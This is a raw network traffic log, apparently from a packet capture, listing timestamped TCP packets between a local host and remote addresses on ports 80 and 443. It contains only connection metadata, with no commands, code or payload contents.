Nov 12, 2024 10:37:29.330725908 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:29.330810070 CET	49834	80	192.168.2.6	185.215.113.206
Nov 12, 2024 10:37:29.330826044 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:29.330843925 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:29.330861092 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:29.330866098 CET	49834	80	192.168.2.6	185.215.113.206
Nov 12, 2024 10:37:29.330874920 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:29.330885887 CET	49834	80	192.168.2.6	185.215.113.206
Nov 12, 2024 10:37:29.330888033 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:29.330899954 CET	49834	80	192.168.2.6	185.215.113.206
Nov 12, 2024 10:37:29.330900908 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:29.330916882 CET	49834	80	192.168.2.6	185.215.113.206
Nov 12, 2024 10:37:29.330940008 CET	49834	80	192.168.2.6	185.215.113.206
Nov 12, 2024 10:37:29.331444979 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:29.331492901 CET	49834	80	192.168.2.6	185.215.113.206
Nov 12, 2024 10:37:29.331492901 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:29.331507921 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:29.331552982 CET	49834	80	192.168.2.6	185.215.113.206
Nov 12, 2024 10:37:29.367615938 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:29.367628098 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:29.367650032 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:29.367700100 CET	49834	80	192.168.2.6	185.215.113.206
Nov 12, 2024 10:37:29.367727995 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:29.367746115 CET	49834	80	192.168.2.6	185.215.113.206
Nov 12, 2024 10:37:29.367782116 CET	49834	80	192.168.2.6	185.215.113.206
Nov 12, 2024 10:37:29.367794037 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:29.367806911 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:29.367827892 CET	49834	80	192.168.2.6	185.215.113.206
Nov 12, 2024 10:37:29.367842913 CET	49834	80	192.168.2.6	185.215.113.206
Nov 12, 2024 10:37:29.368201971 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:29.368247032 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:29.368252039 CET	49834	80	192.168.2.6	185.215.113.206
Nov 12, 2024 10:37:29.368299007 CET	49834	80	192.168.2.6	185.215.113.206
Nov 12, 2024 10:37:29.368321896 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:29.368367910 CET	49834	80	192.168.2.6	185.215.113.206
Nov 12, 2024 10:37:29.368400097 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:29.368412971 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:29.368434906 CET	49834	80	192.168.2.6	185.215.113.206
Nov 12, 2024 10:37:29.368448973 CET	49834	80	192.168.2.6	185.215.113.206
Nov 12, 2024 10:37:29.368522882 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:29.368578911 CET	49834	80	192.168.2.6	185.215.113.206
Nov 12, 2024 10:37:29.415642977 CET	443	49887	13.107.246.57	192.168.2.6
Nov 12, 2024 10:37:29.415666103 CET	443	49887	13.107.246.57	192.168.2.6
Nov 12, 2024 10:37:29.415680885 CET	443	49887	13.107.246.57	192.168.2.6
Nov 12, 2024 10:37:29.415770054 CET	49887	443	192.168.2.6	13.107.246.57
Nov 12, 2024 10:37:29.415800095 CET	443	49887	13.107.246.57	192.168.2.6
Nov 12, 2024 10:37:29.415853024 CET	49887	443	192.168.2.6	13.107.246.57
Nov 12, 2024 10:37:29.447443008 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:29.447477102 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:29.447488070 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:29.447540045 CET	49834	80	192.168.2.6	185.215.113.206
Nov 12, 2024 10:37:29.447576046 CET	49834	80	192.168.2.6	185.215.113.206
Nov 12, 2024 10:37:29.447737932 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:29.447765112 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:29.447776079 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:29.447818995 CET	49834	80	192.168.2.6	185.215.113.206
Nov 12, 2024 10:37:29.447890043 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:29.447936058 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:29.447947979 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:29.447979927 CET	49834	80	192.168.2.6	185.215.113.206
Nov 12, 2024 10:37:29.448466063 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:29.448476076 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:29.448513031 CET	49834	80	192.168.2.6	185.215.113.206
Nov 12, 2024 10:37:29.484500885 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:29.484762907 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:29.484772921 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:29.484785080 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:29.484797001 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:29.484807968 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:29.484857082 CET	49834	80	192.168.2.6	185.215.113.206
Nov 12, 2024 10:37:29.484894991 CET	49834	80	192.168.2.6	185.215.113.206
Nov 12, 2024 10:37:29.485054016 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:29.485084057 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:29.485125065 CET	49834	80	192.168.2.6	185.215.113.206
Nov 12, 2024 10:37:29.485189915 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:29.485268116 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:29.485277891 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:29.485357046 CET	49834	80	192.168.2.6	185.215.113.206
Nov 12, 2024 10:37:29.485543013 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:29.485580921 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:29.485619068 CET	49834	80	192.168.2.6	185.215.113.206
Nov 12, 2024 10:37:29.532378912 CET	443	49887	13.107.246.57	192.168.2.6
Nov 12, 2024 10:37:29.532417059 CET	443	49887	13.107.246.57	192.168.2.6
Nov 12, 2024 10:37:29.532448053 CET	49887	443	192.168.2.6	13.107.246.57
Nov 12, 2024 10:37:29.532473087 CET	443	49887	13.107.246.57	192.168.2.6
Nov 12, 2024 10:37:29.532489061 CET	49887	443	192.168.2.6	13.107.246.57
Nov 12, 2024 10:37:29.532537937 CET	49887	443	192.168.2.6	13.107.246.57
Nov 12, 2024 10:37:29.564296007 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:29.564327002 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:29.564412117 CET	49834	80	192.168.2.6	185.215.113.206
Nov 12, 2024 10:37:29.564476967 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:29.564526081 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:29.564538002 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:29.564568996 CET	49834	80	192.168.2.6	185.215.113.206
Nov 12, 2024 10:37:29.564598083 CET	49834	80	192.168.2.6	185.215.113.206
Nov 12, 2024 10:37:29.564647913 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:29.564728975 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:29.564740896 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:29.564788103 CET	49834	80	192.168.2.6	185.215.113.206
Nov 12, 2024 10:37:29.564851046 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:29.564862967 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:29.564901114 CET	49834	80	192.168.2.6	185.215.113.206
Nov 12, 2024 10:37:29.565319061 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:29.565375090 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:29.565386057 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:29.565428972 CET	49834	80	192.168.2.6	185.215.113.206
Nov 12, 2024 10:37:29.601546049 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:29.601573944 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:29.601584911 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:29.601622105 CET	49834	80	192.168.2.6	185.215.113.206
Nov 12, 2024 10:37:29.601650000 CET	49834	80	192.168.2.6	185.215.113.206
Nov 12, 2024 10:37:29.601650953 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:29.601664066 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:29.601675987 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:29.601696014 CET	49834	80	192.168.2.6	185.215.113.206
Nov 12, 2024 10:37:29.601705074 CET	49834	80	192.168.2.6	185.215.113.206
Nov 12, 2024 10:37:29.602030039 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:29.602077961 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:29.602091074 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:29.602138042 CET	49834	80	192.168.2.6	185.215.113.206
Nov 12, 2024 10:37:29.602148056 CET	49834	80	192.168.2.6	185.215.113.206
Nov 12, 2024 10:37:29.651393890 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:29.651431084 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:29.651442051 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:29.651469946 CET	49834	80	192.168.2.6	185.215.113.206
Nov 12, 2024 10:37:29.651501894 CET	49834	80	192.168.2.6	185.215.113.206
Nov 12, 2024 10:37:29.651633978 CET	443	49887	13.107.246.57	192.168.2.6
Nov 12, 2024 10:37:29.651657104 CET	443	49887	13.107.246.57	192.168.2.6
Nov 12, 2024 10:37:29.651705027 CET	49887	443	192.168.2.6	13.107.246.57
Nov 12, 2024 10:37:29.651726007 CET	443	49887	13.107.246.57	192.168.2.6
Nov 12, 2024 10:37:29.651738882 CET	49887	443	192.168.2.6	13.107.246.57
Nov 12, 2024 10:37:29.651873112 CET	49887	443	192.168.2.6	13.107.246.57
Nov 12, 2024 10:37:29.681602955 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:29.681636095 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:29.681648016 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:29.681673050 CET	49834	80	192.168.2.6	185.215.113.206
Nov 12, 2024 10:37:29.681710005 CET	49834	80	192.168.2.6	185.215.113.206
Nov 12, 2024 10:37:29.681721926 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:29.681754112 CET	49834	80	192.168.2.6	185.215.113.206
Nov 12, 2024 10:37:29.681818962 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:29.681832075 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:29.681866884 CET	49834	80	192.168.2.6	185.215.113.206
Nov 12, 2024 10:37:29.681947947 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:29.681960106 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:29.681969881 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:29.682014942 CET	49834	80	192.168.2.6	185.215.113.206
Nov 12, 2024 10:37:29.682646990 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:29.682694912 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:29.682712078 CET	49834	80	192.168.2.6	185.215.113.206
Nov 12, 2024 10:37:29.682733059 CET	49834	80	192.168.2.6	185.215.113.206
Nov 12, 2024 10:37:29.718827963 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:29.718852043 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:29.718866110 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:29.718928099 CET	49834	80	192.168.2.6	185.215.113.206
Nov 12, 2024 10:37:29.718962908 CET	49834	80	192.168.2.6	185.215.113.206
Nov 12, 2024 10:37:29.718974113 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:29.718986034 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:29.719000101 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:29.719033957 CET	49834	80	192.168.2.6	185.215.113.206
Nov 12, 2024 10:37:29.719090939 CET	49834	80	192.168.2.6	185.215.113.206
Nov 12, 2024 10:37:29.719189882 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:29.719202995 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:29.719214916 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:29.719227076 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:29.719245911 CET	49834	80	192.168.2.6	185.215.113.206
Nov 12, 2024 10:37:29.719261885 CET	49834	80	192.168.2.6	185.215.113.206
Nov 12, 2024 10:37:29.766038895 CET	443	49887	13.107.246.57	192.168.2.6
Nov 12, 2024 10:37:29.766073942 CET	443	49887	13.107.246.57	192.168.2.6
Nov 12, 2024 10:37:29.766145945 CET	49887	443	192.168.2.6	13.107.246.57
Nov 12, 2024 10:37:29.766180038 CET	443	49887	13.107.246.57	192.168.2.6
Nov 12, 2024 10:37:29.766201973 CET	49887	443	192.168.2.6	13.107.246.57
Nov 12, 2024 10:37:29.766228914 CET	49887	443	192.168.2.6	13.107.246.57
Nov 12, 2024 10:37:29.768187046 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:29.768220901 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:29.768232107 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:29.768245935 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:29.768289089 CET	49834	80	192.168.2.6	185.215.113.206
Nov 12, 2024 10:37:29.768333912 CET	49834	80	192.168.2.6	185.215.113.206
Nov 12, 2024 10:37:29.777110100 CET	443	49888	13.107.246.45	192.168.2.6
Nov 12, 2024 10:37:29.778120995 CET	49888	443	192.168.2.6	13.107.246.45
Nov 12, 2024 10:37:29.778157949 CET	443	49888	13.107.246.45	192.168.2.6
Nov 12, 2024 10:37:29.778850079 CET	49888	443	192.168.2.6	13.107.246.45
Nov 12, 2024 10:37:29.778855085 CET	443	49888	13.107.246.45	192.168.2.6
Nov 12, 2024 10:37:29.783463001 CET	443	49889	13.107.246.45	192.168.2.6
Nov 12, 2024 10:37:29.783997059 CET	49889	443	192.168.2.6	13.107.246.45
Nov 12, 2024 10:37:29.784020901 CET	443	49889	13.107.246.45	192.168.2.6
Nov 12, 2024 10:37:29.784434080 CET	49889	443	192.168.2.6	13.107.246.45
Nov 12, 2024 10:37:29.784440994 CET	443	49889	13.107.246.45	192.168.2.6
Nov 12, 2024 10:37:29.798530102 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:29.798551083 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:29.798561096 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:29.798589945 CET	49834	80	192.168.2.6	185.215.113.206
Nov 12, 2024 10:37:29.798625946 CET	49834	80	192.168.2.6	185.215.113.206
Nov 12, 2024 10:37:29.798635960 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:29.798648119 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:29.798660994 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:29.798670053 CET	49834	80	192.168.2.6	185.215.113.206
Nov 12, 2024 10:37:29.798703909 CET	49834	80	192.168.2.6	185.215.113.206
Nov 12, 2024 10:37:29.799062967 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:29.799089909 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:29.799101114 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:29.799159050 CET	49834	80	192.168.2.6	185.215.113.206
Nov 12, 2024 10:37:29.799226046 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:29.799237967 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:29.799338102 CET	49834	80	192.168.2.6	185.215.113.206
Nov 12, 2024 10:37:29.830734015 CET	443	49892	13.107.246.45	192.168.2.6
Nov 12, 2024 10:37:29.831206083 CET	49892	443	192.168.2.6	13.107.246.45
Nov 12, 2024 10:37:29.831238031 CET	443	49892	13.107.246.45	192.168.2.6
Nov 12, 2024 10:37:29.831700087 CET	49892	443	192.168.2.6	13.107.246.45
Nov 12, 2024 10:37:29.831706047 CET	443	49892	13.107.246.45	192.168.2.6
Nov 12, 2024 10:37:29.835515022 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:29.835624933 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:29.835635900 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:29.835638046 CET	49834	80	192.168.2.6	185.215.113.206
Nov 12, 2024 10:37:29.835669994 CET	49834	80	192.168.2.6	185.215.113.206
Nov 12, 2024 10:37:29.835695982 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:29.835709095 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:29.835720062 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:29.835764885 CET	49834	80	192.168.2.6	185.215.113.206
Nov 12, 2024 10:37:29.836124897 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:29.836141109 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:29.836283922 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:29.836329937 CET	49834	80	192.168.2.6	185.215.113.206
Nov 12, 2024 10:37:29.836330891 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:29.836344004 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:29.836379051 CET	49834	80	192.168.2.6	185.215.113.206
Nov 12, 2024 10:37:29.836637974 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:29.836647987 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:29.836685896 CET	49834	80	192.168.2.6	185.215.113.206
Nov 12, 2024 10:37:29.836699963 CET	49834	80	192.168.2.6	185.215.113.206
Nov 12, 2024 10:37:29.839117050 CET	443	49891	13.107.246.45	192.168.2.6
Nov 12, 2024 10:37:29.839510918 CET	49891	443	192.168.2.6	13.107.246.45
Nov 12, 2024 10:37:29.839529991 CET	443	49891	13.107.246.45	192.168.2.6
Nov 12, 2024 10:37:29.839963913 CET	49891	443	192.168.2.6	13.107.246.45
Nov 12, 2024 10:37:29.839967966 CET	443	49891	13.107.246.45	192.168.2.6
Nov 12, 2024 10:37:29.869342089 CET	443	49887	13.107.246.57	192.168.2.6
Nov 12, 2024 10:37:29.869364023 CET	443	49887	13.107.246.57	192.168.2.6
Nov 12, 2024 10:37:29.869427919 CET	49887	443	192.168.2.6	13.107.246.57
Nov 12, 2024 10:37:29.869441986 CET	443	49887	13.107.246.57	192.168.2.6
Nov 12, 2024 10:37:29.869507074 CET	49887	443	192.168.2.6	13.107.246.57
Nov 12, 2024 10:37:29.869889021 CET	443	49893	13.107.246.45	192.168.2.6
Nov 12, 2024 10:37:29.870734930 CET	49893	443	192.168.2.6	13.107.246.45
Nov 12, 2024 10:37:29.870769024 CET	443	49893	13.107.246.45	192.168.2.6
Nov 12, 2024 10:37:29.871208906 CET	49893	443	192.168.2.6	13.107.246.45
Nov 12, 2024 10:37:29.871216059 CET	443	49893	13.107.246.45	192.168.2.6
Nov 12, 2024 10:37:29.885235071 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:29.885302067 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:29.885312080 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:29.885390043 CET	49834	80	192.168.2.6	185.215.113.206
Nov 12, 2024 10:37:29.885411978 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:29.885458946 CET	49834	80	192.168.2.6	185.215.113.206
Nov 12, 2024 10:37:29.905205965 CET	443	49888	13.107.246.45	192.168.2.6
Nov 12, 2024 10:37:29.905358076 CET	443	49888	13.107.246.45	192.168.2.6
Nov 12, 2024 10:37:29.905467987 CET	49888	443	192.168.2.6	13.107.246.45
Nov 12, 2024 10:37:29.905508041 CET	49888	443	192.168.2.6	13.107.246.45
Nov 12, 2024 10:37:29.905508041 CET	49888	443	192.168.2.6	13.107.246.45
Nov 12, 2024 10:37:29.905528069 CET	443	49888	13.107.246.45	192.168.2.6
Nov 12, 2024 10:37:29.905536890 CET	443	49888	13.107.246.45	192.168.2.6
Nov 12, 2024 10:37:29.908268929 CET	49894	443	192.168.2.6	13.107.246.45
Nov 12, 2024 10:37:29.908298969 CET	443	49894	13.107.246.45	192.168.2.6
Nov 12, 2024 10:37:29.908479929 CET	49894	443	192.168.2.6	13.107.246.45
Nov 12, 2024 10:37:29.908658981 CET	49894	443	192.168.2.6	13.107.246.45
Nov 12, 2024 10:37:29.908669949 CET	443	49894	13.107.246.45	192.168.2.6
Nov 12, 2024 10:37:29.911957979 CET	443	49889	13.107.246.45	192.168.2.6
Nov 12, 2024 10:37:29.912014008 CET	443	49889	13.107.246.45	192.168.2.6
Nov 12, 2024 10:37:29.912153006 CET	49889	443	192.168.2.6	13.107.246.45
Nov 12, 2024 10:37:29.912190914 CET	49889	443	192.168.2.6	13.107.246.45
Nov 12, 2024 10:37:29.912201881 CET	443	49889	13.107.246.45	192.168.2.6
Nov 12, 2024 10:37:29.912213087 CET	49889	443	192.168.2.6	13.107.246.45
Nov 12, 2024 10:37:29.912218094 CET	443	49889	13.107.246.45	192.168.2.6
Nov 12, 2024 10:37:29.914316893 CET	49895	443	192.168.2.6	13.107.246.45
Nov 12, 2024 10:37:29.914362907 CET	443	49895	13.107.246.45	192.168.2.6
Nov 12, 2024 10:37:29.914448977 CET	49895	443	192.168.2.6	13.107.246.45
Nov 12, 2024 10:37:29.915477991 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:29.915518999 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:29.915530920 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:29.915546894 CET	49834	80	192.168.2.6	185.215.113.206
Nov 12, 2024 10:37:29.915575981 CET	49834	80	192.168.2.6	185.215.113.206
Nov 12, 2024 10:37:29.915600061 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:29.915649891 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:29.915659904 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:29.915702105 CET	49834	80	192.168.2.6	185.215.113.206
Nov 12, 2024 10:37:29.916059971 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:29.916142941 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:29.916158915 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:29.916189909 CET	49834	80	192.168.2.6	185.215.113.206
Nov 12, 2024 10:37:29.916212082 CET	49834	80	192.168.2.6	185.215.113.206
Nov 12, 2024 10:37:29.916260958 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:29.916311026 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:29.916321039 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:29.916368008 CET	49834	80	192.168.2.6	185.215.113.206
Nov 12, 2024 10:37:29.917311907 CET	49895	443	192.168.2.6	13.107.246.45
Nov 12, 2024 10:37:29.917329073 CET	443	49895	13.107.246.45	192.168.2.6
Nov 12, 2024 10:37:29.927278996 CET	443	49887	13.107.246.57	192.168.2.6
Nov 12, 2024 10:37:29.927299976 CET	443	49887	13.107.246.57	192.168.2.6
Nov 12, 2024 10:37:29.927360058 CET	49887	443	192.168.2.6	13.107.246.57
Nov 12, 2024 10:37:29.927367926 CET	443	49887	13.107.246.57	192.168.2.6
Nov 12, 2024 10:37:29.927413940 CET	49887	443	192.168.2.6	13.107.246.57
Nov 12, 2024 10:37:29.952630043 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:29.952661991 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:29.952671051 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:29.952723980 CET	49834	80	192.168.2.6	185.215.113.206
Nov 12, 2024 10:37:29.952783108 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:29.952794075 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:29.952805042 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:29.952831030 CET	49834	80	192.168.2.6	185.215.113.206
Nov 12, 2024 10:37:29.952846050 CET	49834	80	192.168.2.6	185.215.113.206
Nov 12, 2024 10:37:29.953196049 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:29.953207016 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:29.953250885 CET	49834	80	192.168.2.6	185.215.113.206
Nov 12, 2024 10:37:29.953377008 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:29.953388929 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:29.953423977 CET	49834	80	192.168.2.6	185.215.113.206
Nov 12, 2024 10:37:29.953443050 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:29.953454018 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:29.953474998 CET	49834	80	192.168.2.6	185.215.113.206
Nov 12, 2024 10:37:29.953490973 CET	49834	80	192.168.2.6	185.215.113.206
Nov 12, 2024 10:37:29.961857080 CET	443	49892	13.107.246.45	192.168.2.6
Nov 12, 2024 10:37:29.961906910 CET	443	49892	13.107.246.45	192.168.2.6
Nov 12, 2024 10:37:29.961955070 CET	443	49892	13.107.246.45	192.168.2.6
Nov 12, 2024 10:37:29.961957932 CET	49892	443	192.168.2.6	13.107.246.45
Nov 12, 2024 10:37:29.961997986 CET	49892	443	192.168.2.6	13.107.246.45
Nov 12, 2024 10:37:29.962203026 CET	49892	443	192.168.2.6	13.107.246.45
Nov 12, 2024 10:37:29.962215900 CET	443	49892	13.107.246.45	192.168.2.6
Nov 12, 2024 10:37:29.962227106 CET	49892	443	192.168.2.6	13.107.246.45
Nov 12, 2024 10:37:29.962230921 CET	443	49892	13.107.246.45	192.168.2.6
Nov 12, 2024 10:37:29.965517044 CET	49896	443	192.168.2.6	13.107.246.45
Nov 12, 2024 10:37:29.965557098 CET	443	49896	13.107.246.45	192.168.2.6
Nov 12, 2024 10:37:29.965764046 CET	49896	443	192.168.2.6	13.107.246.45
Nov 12, 2024 10:37:29.965893984 CET	49896	443	192.168.2.6	13.107.246.45
Nov 12, 2024 10:37:29.965905905 CET	443	49896	13.107.246.45	192.168.2.6
Nov 12, 2024 10:37:29.969902039 CET	443	49891	13.107.246.45	192.168.2.6
Nov 12, 2024 10:37:29.969974041 CET	443	49891	13.107.246.45	192.168.2.6
Nov 12, 2024 10:37:29.970264912 CET	49891	443	192.168.2.6	13.107.246.45
Nov 12, 2024 10:37:29.970412016 CET	49891	443	192.168.2.6	13.107.246.45
Nov 12, 2024 10:37:29.970427990 CET	443	49891	13.107.246.45	192.168.2.6
Nov 12, 2024 10:37:29.970439911 CET	49891	443	192.168.2.6	13.107.246.45
Nov 12, 2024 10:37:29.970444918 CET	443	49891	13.107.246.45	192.168.2.6
Nov 12, 2024 10:37:29.972662926 CET	49897	443	192.168.2.6	13.107.246.45
Nov 12, 2024 10:37:29.972707033 CET	443	49897	13.107.246.45	192.168.2.6
